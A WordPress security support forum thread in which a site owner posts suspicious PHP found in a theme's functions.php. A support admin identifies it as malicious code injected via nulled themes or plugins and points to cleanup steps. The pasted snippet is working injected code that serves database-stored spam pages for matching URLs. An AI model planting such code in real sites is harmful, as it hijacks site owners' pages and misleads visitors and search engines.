Home › Forums › BulletProof Security Free › Suspicious Theme functions.php file code – nulled/pirated plugin or theme
- This topic has 5 replies, 2 voices, and was last updated 6 years, 4 months ago by
AITpro Admin.
-
AuthorPosts
-
Vintagepornbay.com
ParticipantSo whats the purpose of this code I dont understand. It was found in our child theme functions php:
I think its related to request attacks logged in bps logs.
if ( $wpdb->get_var('SELECT count(*) FROM <code>' . $wpdb->prefix . 'datalist
WHERE
url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )<br ?--> { $data = $wpdb -> get_row('SELECT * FROM' . $wpdb->prefix . 'datalist
WHEREurl
= "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"'); if ($data -> full_content) { print stripslashes($data -> content); } else { print '<!DOCTYPE html>'; print '<html '; language_attributes(); print ' class="no-js">'; print '<head>'; print '<title>'.stripslashes($data -> title).'</title>'; print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />'; print '<meta name="Description" content="'.stripslashes($data -> description).'" />'; print '<meta name="robots" content="index, follow" />'; print '<meta charset="'; bloginfo( 'charset' ); print '" />'; print '<meta name="viewport" content="width=device-width">'; print '<link rel="profile" href="http://gmpg.org/xfn/11">'; print '<link rel="pingback" href="'; bloginfo( 'pingback_url' ); print '">'; wp_head(); print '</head>'; print '<body>'; print '<div id="content" class="site-content">'; print stripslashes($data -> content); get_search_form(); get_sidebar(); get_footer(); } exit; }AITpro Admin
KeymasterThe code appears to be malicious. Google searches indicate that the origin of that code may be from nulled/pirated plugins or themes downloaded from this website: dlwordpress.com or other similar sites. It is very common that hackers will offer free nulled/pirated plugins and themes and add hacker code in those nulled/pirated plugins and themes. The code may not necessarily have come from an installed nulled/pirated plugin or theme and may have been used independently, but it is much more likely that you have a nulled/pirated plugin or theme installed on your website that is automatically creating/injecting that code into your theme functions.php file.
Google Search results for search string:
if ( $wpdb->get_var('SELECT count(*) FROM ' . $wpdb->prefix . 'datalist
https://wordpress.org/support/topic/wp-database-error-doesnt-exist-select-count-from-wp_datalist/
http://kanec.co.uk/2016/11/05/perils-nulled-wordpress-themes/Vintagepornbay.com
ParticipantI have used nulled plugin before.
But currently dont have it now.
Which plugin could cause this auto changing of functions php code?
AITpro Admin
KeymasterYou need to assume the worst case scenario > your entire hosting account is hacked/compromised. Typically hackers will add code in nulled/pirated plugins and themes that not only injects/creates code wherever they want, but also adds a backdoor login to your hosting account that gives them total control of your hosting account environment. You will need to cleanup your entire hosting account. We have created a help forum topic about how to cleanup a hacked hosting account here > https://forum.ait-pro.com/forums/topic/wordpress-hacked-wordpress-hack-cleanup-wordpress-hack-repair/
Vintagepornbay.com
ParticipantDoes it possible for subdomain (subsite) to affect main domain (main site)?
Because we use nulled theme and plugin only in our subdomain.
AITpro Admin
KeymasterUsually hackers will install/upload a backdoor shell script somewhere in your hosting account folders that allows them to edit/upload/add files and many other things. Typically hackers do not usually do anything to your WordPress database like add hacker code in your database. A backdoor shell script does give a hacker the ability to create WordPress Administrator user accounts in your database. So normally you do not need to backup and restore your WordPress database and just need to check for any Administrator accounts you did not create, delete them and then do the other steps in this forum topic: https://forum.ait-pro.com/forums/topic/wordpress-hacked-wordpress-hack-cleanup-wordpress-hack-repair/
-
AuthorPosts
- You must be logged in to reply to this topic.